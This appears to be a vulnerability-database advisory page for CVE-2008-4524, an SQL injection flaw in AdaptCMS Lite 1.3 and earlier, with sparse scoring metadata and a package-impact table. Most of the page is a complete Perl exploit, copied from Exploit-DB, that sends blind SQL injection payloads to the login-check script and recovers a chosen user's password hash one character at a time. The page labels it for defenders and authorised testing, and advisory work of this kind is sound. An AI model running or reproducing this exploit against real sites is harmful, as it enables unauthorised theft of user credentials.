CVE-2008-4524

unknown

Published 2022-05-02 · Modified 2025-04-10

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

1.0

Description

AdaptCMS SQL Injection vulnerability

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-6662 webapps php verified perl · 1 KB

StAkeR · 2008-10-03

AdaptCMS Lite 1.3 - Blind SQL Injection

perl exploit Source: Exploit-DB

#!/usr/bin/perl
# -----------------------------------------------------
# AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On 03/10/2008
# -----------------------------------------------------
# Download http://www.insanevisions.com/page/downloads
# -----------------------------------------------------
use strict;
use LWP::UserAgent;

my ($hash,$send,$sub) = (undef,undef,1);
my ($host,$uid) = @ARGV;

usage() unless $host =~ /^http:\/\/(.+?)$/i and $uid =~ /^[0-9]$/;

sub send_request
{
  my $param = shift @_;
  my $http = new LWP::UserAgent;
  my $post = $http->post($host.'/includes/check_user.php',[ user_name => $param ]);
  
  if($post->is_success)
  {
    return 38 unless $post->content =~ /yes/i;
  }
}

my @chars = (48..57, 97..102); 

for(0..32)
{
  foreach my $set(@chars)
  {
    $send = "' or ascii(substring((select password".
            " from adaptcms_users where id=$uid),$sub,1))=$set#";

    if(send_request($send) > 1)
    {
      $hash .= chr($set);
      $sub++;
      last;
    }
  }
}

sub usage
{
  print "[?] AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[host] [user id]\n";
  exit;
}

if(defined $hash)
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03]

Package impact

Ecosystem	Package	Vulnerable	Fixed
Packagist	adaptcms/adaptcms	`<=1.3`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.